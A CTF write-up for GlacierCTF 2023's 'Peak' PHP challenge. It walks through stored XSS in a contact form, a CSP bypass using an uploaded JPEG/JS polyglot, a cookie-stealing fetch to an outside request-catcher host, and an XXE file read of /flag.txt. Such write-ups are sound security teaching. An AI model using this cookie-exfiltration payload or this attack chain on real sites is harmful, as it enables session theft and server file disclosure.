Peak was a PHP web application, where users could register, login, view a map,  
and send requests via a contact form. The source code was provided in full.

When users sent a request via the contact form, an admin would look at those
requests after a few minutes.  
This admin user was simulated with a Selenium script that periodically browsed
the website and looked at new requests.

The flag was stored on the server's file system in `/flag.txt`.

## Cirumventing CSP with a JPEG/JS polyglot

The contact form was vulnerable to XSS, so we could easily inject arbitrary
HTML and JavaScript code.  
However, the application used a strict CSP, which only allowed scripts from
the same origin and no inline scripts.

```  
Content-Security-Policy: script-src 'self'  
```

Since `object-src` was not restricted, we first tried to inject an SVG image
with an embedded script,  
but that didn't work, probably because recent browsers don't allow SVGs to
execute scripts anymore.

To get files on the server, we were also able to upload images via the contact
form.  
This upload however was very well written: It only allowed JPEG and PNG files,
checked the file extension,  
gave the new file a random name, checked the MIME type of the file, and even
checked the image dimensions.

```php  
$target_file = "";  
if(isset($_FILES['image']) && $_FILES['image']['name'] !== "")  
{  
$targetDirectory = '/uploads/';

$timestamp = microtime(true);  
$timestampStr = str_replace('.', '', sprintf('%0.6f', $timestamp));  
  
$randomFilename = uniqid() . $timestampStr;  
$targetFile = ".." . $targetDirectory . $randomFilename;  
$imageFileType = strtolower(pathinfo($_FILES['image']['name'],
PATHINFO_EXTENSION));  
$allowedExtensions = ['jpg', 'jpeg', 'png'];

$check = false;  
try  
{  
$check = @getimagesize($_FILES['image']['tmp_name']);  
}  
catch(Exception $exx)  
{  
throw new Exception("File is not a valid image!");  
}  
if ($check === false)  
{  
throw new Exception("File is not a valid image!");  
}  
if (!in_array($imageFileType, $allowedExtensions))  
{  
throw new Exception("Invalid image file type. Allowed types: jpg, jpeg, png");  
}  
if (!move_uploaded_file($_FILES['image']['tmp_name'], $targetFile))  
{  
throw new Exception("Error uploading the image! Try again! If this issue
persists, contact a CTF admin!");  
}  
$target_file = $targetDirectory . $randomFilename;  
}  
```

After hours of brainstorming, we stumbled upon an article by Gareth Heyes from
PortSwigger on  
[Bypassing CSP using polyglot
JPEGs](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs),  
published in December 2016.  
They provided an
[`img_polygloter.py`](https://github.com/s-3ntinel/imgjs_polygloter) script,  
which crafts a valid JPG or GIF file, that is also a valid JavaScript file.  
This would allow us to upload a valid image to the server which could later be
used as a valid script source.

Our payload was simple. We wanted to steal the admin's cookie by sending it to
a request catcher:

```js  
fetch("https://SOME-UUID.requestcatcher.com/?cookie=" + document.cookie, {
mode: "no-cors" });  
```

This command generates a valid JPEG/JS polyglot:

```sh  
./img_polygloter.py jpg --height 123 --width 321 --payload
'JS_PAYLOAD_FROM_ABOVE' --output poly.jpg  
```

The full plan to steal the admin's cookie was as follows:

1\. Upload the polyglot image via the contact form, only to get the image onto
the server.  
2\. Send another request to the contact form, with an XSS payload that loads
the polyglot image as a script.  
3\. Wait for the admin to look at the requests, and steal their cookie.

The second request was just a simple script tag with the polyglot image
(uploaded in step 1) as the source:

```html  
<script src="/uploads/656230730fb951700933747064389">  
```

Given that this script was published 7 years ago, we didn't expect it to work,
but it did! ?

## Reading arbitrary server files with XXE

With the admin's cookie, we were able to login as the admin and get access to
the admin panel.  
The admin panel allowed us to edit the pins that are displayed on a map.  
This configuration was stored in an XML file on the server, and proccessed by
the PHP application.

```php  
<link rel="stylesheet" href="https://unpkg.com/[email
protected]/dist/leaflet.css" />  
<div id="map" style="height: 500px;"/>  
<script src="https://unpkg.com/[email protected]/dist/leaflet.js"></script>  
<script>  
var map = L.map('map').setView([0, 0], 12);  
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png',
{attribution: '© OpenStreetMap contributors'}).addTo(map);  
marker as $marker)  
{  
$name = str_replace("\n", "\\\n", $marker->name);  
echo 'L.marker(["' . $marker->lat . '", "' .
$marker->lon.'"]).addTo(map).bindPopup("'. $name. '").openPopup();' . "\n";  
echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";  
}  
}  
catch(Exception $ex)  
{  
echo "Invalid xml data!";  
}  
?>  
</script>  
```

When parsing XML naively, it is possible to inject external entities (e.g.,
files),  
which can be used to read arbitrary files from the server.  
This is called an [XML External Entity (XXE)
attack](https://portswigger.net/web-security/xxe).  
We simply uploaded the following XML file that would read the flag from the
server and store it in the `name` field of a marker:

```xml

]>  
<markers>  
<marker>  
<lat>47.0748663672</lat>  
<lon>12.695247219</lon>  
<name>&xx;;</name>  
</marker>  
</markers>  
```

Finally, we just needed to look at the map and read the flag.  

Original writeup (https://sigflag.at/blog/2023/writeup-glacierctf23-peak/).